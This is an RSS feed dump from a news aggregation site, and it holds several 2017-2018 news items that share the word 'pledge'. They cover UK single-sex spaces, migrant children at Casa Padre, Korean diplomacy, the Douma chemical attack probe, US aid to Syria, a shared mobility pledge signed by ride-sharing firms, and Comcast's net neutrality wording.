“The same can be said about toilets, changing rooms or single-sex activities. Providers may exclude trans people from facilities of the sex they identify with, providing it is a proportionate means of meeting a legitimate aim.”

Gay and trans rights group Stonewall said: “Trans people are subject to appalling levels of abuse in daily life and dehumanised by the way the current debate questions their very right to exist.

“This is unacceptable in Britain in 2018 and it demonstrates just why the Gender Recognition Act needs urgent reform.”

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]]> https://briefnews.eu/trans-people-wont-get-legal-access-to-public-single-sex-spaces-ministers-pledge/feed/ 0 Children are being forced to recite the Pledge of Allegiance to a country that separated them from their parents https://briefnews.eu/children-are-being-forced-to-recite-the-pledge-of-allegiance-to-a-country-that-separated-them-from-their-parents/ https://briefnews.eu/children-are-being-forced-to-recite-the-pledge-of-allegiance-to-a-country-that-separated-them-from-their-parents/#respond Mon, 25 Jun 2018 07:31:35 +0000 http://briefnews.eu/children-are-being-forced-to-recite-the-pledge-of-allegiance-to-a-country-that-separated-them-from-their-parents/ Children Pledge

  • Migrant children are being forced to recite the Pledge of Allegiance in shelters after authorities separated them from their parents.
  • The children are forced to recite the pledge in English every morning “out of respect.”
  • This is occurring at Casa Padre, the country’s largest shelter for migrant children, which gained attention for its cramped sleeping quarters and dehumanizing practices.

Migrant children who have been separated from their families are being forced to recite America’s Pledge of Allegiance every morning, according to a Washington Post report.

The Casa Padre facility in Brownsville, Texas, is the largest migrant children’s shelter in the country, housing nearly 1,5000 boys. Some arrived as unaccompanied minors while others were separated from family members under the Trump administration’s “zero tolerance” policy. 

See the rest of the story at Business Insider

NOW WATCH: This top economist has a radical plan to change the way Americans vote

See Also:

SEE ALSO: http://www.businessinsider.com/migrant-children-forcibly-drugged-abused-in-us-government-detention-2018-6

]]> https://briefnews.eu/children-are-being-forced-to-recite-the-pledge-of-allegiance-to-a-country-that-separated-them-from-their-parents/feed/ 0 Kim remains skeptical about Washington’s security pledge upon de-nuclearization – Moon https://briefnews.eu/kim-remains-skeptical-about-washingtons-security-pledge-upon-de-nuclearization-moon/ https://briefnews.eu/kim-remains-skeptical-about-washingtons-security-pledge-upon-de-nuclearization-moon/#respond Sun, 27 May 2018 02:17:34 +0000 http://briefnews.eu/kim-remains-skeptical-about-washingtons-security-pledge-upon-de-nuclearization-moon/ North Korean leader Kim Jong-un finds it hard to trust US President Donald Trump’s assertions that the US would not seek to undermine his rule after Pyongyang gets rid of all its nukes, South Korean President Moon Jae-in said.

Moon was speaking in the wake of the surprise talks he held with the North’s leader on Saturday near the demilitarized zone between the two Koreas. He revealed that Kim agreed to engage in “direct communication” with Washington to prepare for the newly resuscitated summit, but said that its fate still depends on future negotiations between the parties.

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FILE PHOTO: Anti-US.President Donald Trump rally near U.S. embassy in Seoul, South Korea © Kim Hong-Ji

Moon went on to add that he “relayed the message that President Trump is firmly willing to end his country’s hostile relationship with North Korea and enhance economic cooperation should Chairman Kim make a decision on complete denuclearization and implements it.”

Kim reportedly reiterated his pledge to de-nuclearize, but cast doubt on Washington’s promise to provide him with security guarantees that the North seeks.

The Saturday summit between Moon and Kim became the second time the two leaders met in less than two months, and it followed a groundbreaking meeting in April. Earlier, Yonhap, citing North Korean state media, reported that the leaders of two Koreas agreed to meet for a third time on June 1.

The latest meeting was carried out at Kim’s initiative, Moon revealed, saying that the North Korean leader reached out with the idea the day before, on Friday.

With the Trump-Kim summit back on the cards, Moon said that he is looking forward to a three-way meeting between him, Trump and Kim to formally put an end to the Korean War. Hostilities ended with an armistice in 1953, and a permanent peace treaty has never been signed. The South Korean leader said he hopes the proposed trilateral meeting takes place after a successful summit in Singapore.

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]]> https://briefnews.eu/kim-remains-skeptical-about-washingtons-security-pledge-upon-de-nuclearization-moon/feed/ 0 Russia & Syria call for on-the-ground probe in Douma, pledge to provide security to OPCW experts https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/ https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/#respond Tue, 10 Apr 2018 03:34:12 +0000 http://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/ Moscow has proposed to create an independent investigative mechanism into the alleged chemical attack in the Damascus suburb of Douma, promising, along with the Syrian army, to guarantee prompt access for experts to the site.

Russia’s envoy to the UN, Vassily Nebenzia, has reiterated that Russia will support a thorough investigation into the alleged use of chemical weapons in the rebel-held town of Douma over the weekend.

“Let us recall that our draft resolution to set up such a mechanism is in blue. And we stand ready to adopt it today if necessary,” Nebenzia said, referring to the Russia-sponsored UNSC resolution to establish an independent investigative mechanism under the auspices of the Organization for the Prohibition of Chemical Weapons (OPCW).

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A photo showing a child being washed after what the White Helmets and other anti-government groups in Syria claim was a chemical weapons attack in Douma, Eastern Ghouta, on April 7. The Russian military says the photos were staged. © Reuters

Moscow is ready to serve as a guarantor of security for those OPCW experts who would inspect the site of the incident, Nebenzia added, stressing the need for the probe to be carried out without delay. The experts may “immediately, tomorrow, fly to Damascus,” the diplomat said.

“There, the Syrian authorities and Russian troops will provide conditions to travel to the area of the alleged incident for them to familiarize themselves with the situation,” Nebenzia said, reminding the UNSC member-states’ representatives that “that is what President Trump and other western leaders called upon us to undertake.”

The Syrian Permanent Representative to the United Nations Bashar Jaafari said his country is also ready to welcome the OPCW team as soon as possible and to provide them with everything necessary for a comprehensive investigation.

“My country, Syria, stresses its unlimited cooperation with the OPCW to fulfill the commitments stated in the convention of the prohibition of the development, production, stockpiling and use of chemical weapons,” he said.

Highlighting the importance of a swift investigation, Nebenzia noted that it should be conducted on the ground, and not through third parties. Moscow has repeatedly criticized the OPCW investigation into last April’s Khan Sheikhoun incident as “unprofessional.” One of the major flaws of the Joint Investigative Mechanism (JIM), as pointed out by Moscow, was that the whole investigation was conducted remotely. As a result, the findings of the OPCW report, that blamed the attack on the Syrian government, were mostly based on speculation by analysts, accounts by unidentified witnesses and material evidence submitted by third parties with no chain of custody being implemented.

In November, the mechanism’s mandate expired and Moscow vetoed a resolution to extend its authority, arguing that it was effectively “dead” and couldn’t be revived, stressing a need for a new, “professional, objective and unbiased” mechanism to replace its discredited predecessor. Moscow at the time proposed a resolution to create one but it was not passed by the UNSC.

Speaking to the media on Monday, Nebenzia did not specify if Russia would put the resolution to a vote on Tuesday. Meanwhile, US Ambassador to the UN Nikki Haley said she is looking forward to the Security Council voting on the resolution proposed by the US.

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FILE PHOTO: A Syrian man collects and bags the body of a dead bird, reportedly killed by a suspected toxic gas attack in Khan Sheikhoun, in Syria’s northwestern Idlib province © Omar haj kadour

The US draft, leaked to the media, implies that Syria might be found in violation of UNSC Resolution 2118 as a result of the investigation by a proposed “Independent Mechanism of Investigation.”  The resolution, adopted in 2013, provided for the destruction of Syria’s chemical weapons stockpiles. Damascus has repeatedly stressed its compliance, denying allegations of the use of toxic agents in the offensives on rebel-held regions.

“The Syrian Arab Republic stresses once again it does not possess any chemical weapons of any type, including chlorine,” Jaafari said at Monday’s UNSC meeting.

The US-sponsored draft “condemns in the strongest terms the continued use of chemical weapons” and also stipulates that measures might be taken against Syria under the UN Charter Chapter 7, which paves the way for the use of force.

Nebenzia denounced the draft, saying that it contains “some unacceptable elements.” “There is nothing there that would meet the high standards of the United Nations Chemical Weapons Convention,” he said.

The UNSC President, Gustavo Meza-Cuadra, Permanent Representative of Peru to the United Nations, said that he expects the countries’ delegations to continue to work on the draft for the rest of Monday and on Tuesday, describing the situation as “very difficult.”

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]]> https://briefnews.eu/russia-syria-call-for-on-the-ground-probe-in-douma-pledge-to-provide-security-to-opcw-experts/feed/ 0 Trump walking back on US pledge to invest $200mn in Syria recovery – report https://briefnews.eu/trump-walking-back-on-us-pledge-to-invest-200mn-in-syria-recovery-report/ https://briefnews.eu/trump-walking-back-on-us-pledge-to-invest-200mn-in-syria-recovery-report/#respond Sat, 31 Mar 2018 04:50:15 +0000 http://briefnews.eu/trump-walking-back-on-us-pledge-to-invest-200mn-in-syria-recovery-report/ US President Donald Trump has reportedly pulled over $ 200 million in funds earmarked for Syria. It comes after he hinted that the US would no longer bother itself with Syrian problems upon achieving its military goals there.

Over $ 200 million in US assistance for the war-ravaged country, promised by former Secretary of State Rex Tillerson in February, may never reach the liberated areas of Syria that have been left in ruins by seven years of a lingering conflict, which saw the Russian-supported Syrian government force and the US-backed rebels battling Islamic State (IS, formerly ISIS/ISIL) and Al-Qaeda affiliates.

According to a report by the Wall Street Journal, citing US officials, Trump ordered the State Department to freeze the allotment of the funds after he came across a news report on Tillerson’s pledge of financial support for Syria.

In his opening remarks at the meeting of the US-led anti-IS international coalition in February, Tillerson announced that Washington would provide “an additional $ 200 million to further support critical stabilization and early recovery initiatives in liberated areas of Syria.”

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Fighters of Syrian Democratic Forces walk along a road in Raqqa, October 17, 2017 / Erik De Castro

This should have supplemented some $ 225 million that had already been designated by the State Department for that purposes. Tillerson revealed at the time that the US has spent “nearly $ 7.7 billion” on humanitarian assistance to Syria since the onset of the conflict, and it remains “the world’s largest donor of humanitarian assistance to the Syrian crisis.”

Speaking at the meeting, he further stressed the importance of the financial help to war-torn countries like Syria and Iraq to ensure that IS would not be able to snap back. “If communities in Iraq and Syria cannot return to normal life, we risk the return of conditions that allowed IS to take and control vast territory,” he said.

The WSJ report, if confirmed to be true, would align well with a recent speech by the US president, during which he expressed frustration with the US habit of spending large sums of money in foreign assistance to little effect.

“We spent $ 7 trillion in the Middle East. We’d build a school; they’d blow it up. We’d build it again; they’d blow it up. We’d build it again; hasn’t been blown up yet, but it will be,” Trump said Friday, adding that for all that tremendous amount of money spent, the US gets effectively “nothing” in return.

During the same speech, he made a surprise announcement that US troops would leave Syria “very soon,” implying that other countries should bear the burden of dealing with the dire humanitarian crisis.

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Mosul, Iraq. ©Ari Jalal

“Let the other people take care of it now,” Trump said.

What seems to be a new approach by the Trump administration on the Syrian issue represents a U-turn from the Syria strategy unveiled by Tillerson at the beginning of the year. The then-State Secretary said that the US has learned a lesson from its “premature departure” from Iraq, which was ordered by Barack Obama and left the country in tatters, allowing Al-Qaeda remnants to regroup and eventually merge with IS.

The Pentagon has said it conducted over 29,000 airstrikes in Syria and Iraq between August 2014 and the end of February 2018, which resulted in 855 civilian casualties. However, the figures are feared to be significantly higher, with the UK-based non-profit Airwars estimating that as many as 6,200 civilians have perished due to US-led coalition bombing raids.

In an interview with NBC’s Megyn Kelly, Russian President Vladimir Putin described Iraq’s Mosul as “razed to the ground” after being liberated by US-backed forces. He called for an investigation into similarly massive airstrikes in the Syrian city of Raqqa.

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]]> https://briefnews.eu/trump-walking-back-on-us-pledge-to-invest-200mn-in-syria-recovery-report/feed/ 0 Uber, Lyft, and others sign ‘shared mobility pledge’ to improve urban transportation options https://briefnews.eu/uber-lyft-and-others-sign-shared-mobility-pledge-to-improve-urban-transportation-options/ https://briefnews.eu/uber-lyft-and-others-sign-shared-mobility-pledge-to-improve-urban-transportation-options/#respond Thu, 01 Feb 2018 14:15:42 +0000 http://briefnews.eu/uber-lyft-and-others-sign-shared-mobility-pledge-to-improve-urban-transportation-options/

Ridesharing startups like Uber and Lyft have been notorious for clashing with city leaders as they’ve expanded. Now, as many transportation startups are looking toward autonomous technology, 15 of them have signed on to a joint mobility pledge, outlining for skeptical city leaders how they aim to create more livable, sustainable cities.

The 10  “shared mobility principles” is an attempt to “ensure that ongoing developments in technology, operational systems, ownership and service business models lead to more livable, sustainable, and just cities.” Among the signees are most all of the world’s major ride-sharing companies — BlaBlaCar, Didi, Lyft, and Uber — as well as shared bike startups Mobike and LimeBike. The 10 principles are:

  1. We plan our cities and their mobility together
  2. We prioritize people over vehicles
  3. We support the shared and efficient use of vehicles, lanes, curbs, and land.
  4. We engage with stakeholders
  5. We promote equity
  6. We lead the transition towards a zero-emission future and renewable energy
  7. We support fair user fees across all modes.
  8. We aim for public benefits via open data.
  9. We work towards integration and seamless connectivity
  10. We support that autonomous vehicles in dense urban areas should be operated only in shared fleets

The shared mobility pledge was the brain child of Zipcar cofounder Robin Chase, who developed them alongside a handful of NGOs. The principles were first released in October, but the 15 companies announced today didn’t sign on until now. On a conference call with reporters, Chase said that getting the 15 companies onboard was critical, because they already play a critical role in the travel decisions people make today.

“Transportation is the key to whether you get get a job or go to school or see your friends – transportation is really the gateway to opportunity,” Chase said.

This isn’t the first time that shared transportation services have banded together to ensure their vision leads the discussion on urban mobility. In December, Uber, Grab, and Ola joined the International Association of Public Transport, an organization with around 1,400 members, which aims to bring together key stakeholders from across the transportation spectrum.

The principles don’t set specific metrics for transportation companies to achieve in the coming years. But Chase says success will be judged on whether or not the U.S. and other countries start to shift away from personal car ownership, and rely more on shared transportation modes  — which she and other participants say is the best way to ensure that cities become more livable for all in the future.

“There’s an enormous inefficiency that we’ve built into personal cars,” Uber’s head of transportation policy Andrew Salzberg said on the call.  “We also think there’s huge benefits to teaming up with companies in the space to reduce the need for people to own and operate their own personal vehicles.”

It’s not difficult to forsee some of the principles clashing with each other. For example, the principle of “prioritizing people over vehicles” applies to putting people in the center of transportation planning. But the people who operate vehicles for a living — bus drivers, taxi drivers — are likely going to feel like vehicles are being prioritized over their livelihood when fully autonomous technology is available.

Another principle that’s sure to ignite controversy is the support for fair user fees across all models, which would disrupt the way that many people around the world today get around.

“Right now, we let a person drive their personal car during peak times in cities like New York or Paris, taking up a huge  amount of space, and making buses that are carrying 50 people much slower. That is not a fair user fee across all modes,” said Chase.

The release of these ‘shared mobility principles’ comes as social platforms — most notably Twitter, Facebook, and YouTube — have come been criticized by some for not sufficiently preparing for the rise of bad actors on their platform. It’s clear that these transportation companies are attempting to get ahead of whatever backlash their technology might provoke.

]]> https://briefnews.eu/uber-lyft-and-others-sign-shared-mobility-pledge-to-improve-urban-transportation-options/feed/ 0 Comcast deleted net neutrality pledge the same day FCC announced repeal https://briefnews.eu/comcast-deleted-net-neutrality-pledge-the-same-day-fcc-announced-repeal/ https://briefnews.eu/comcast-deleted-net-neutrality-pledge-the-same-day-fcc-announced-repeal/#respond Wed, 29 Nov 2017 18:09:17 +0000 http://briefnews.eu/comcast-deleted-net-neutrality-pledge-the-same-day-fcc-announced-repeal/

Enlarge (credit: Mike Mozart)

We wrote earlier this week about how Comcast has changed its promises to uphold net neutrality by pulling back from previous statements that it won’t charge websites or other online applications for fast lanes.

Comcast spokesperson Sena Fitzmaurice has been claiming that we got the story wrong. But a further examination of how Comcast’s net neutrality promises have changed over time reveals another interesting tidbit—Comcast deleted a “no paid prioritization” pledge from its net neutrality webpage on the very same day that the Federal Communications Commission announced its initial plan to repeal net neutrality rules.

Starting in 2014, the webpage, corporate.comcast.com/openinternet/open-net-neutrality, contained this statement: “Comcast doesn’t prioritize Internet traffic or create paid fast lanes.”

Read 22 remaining paragraphs | Comments

Ars Technica

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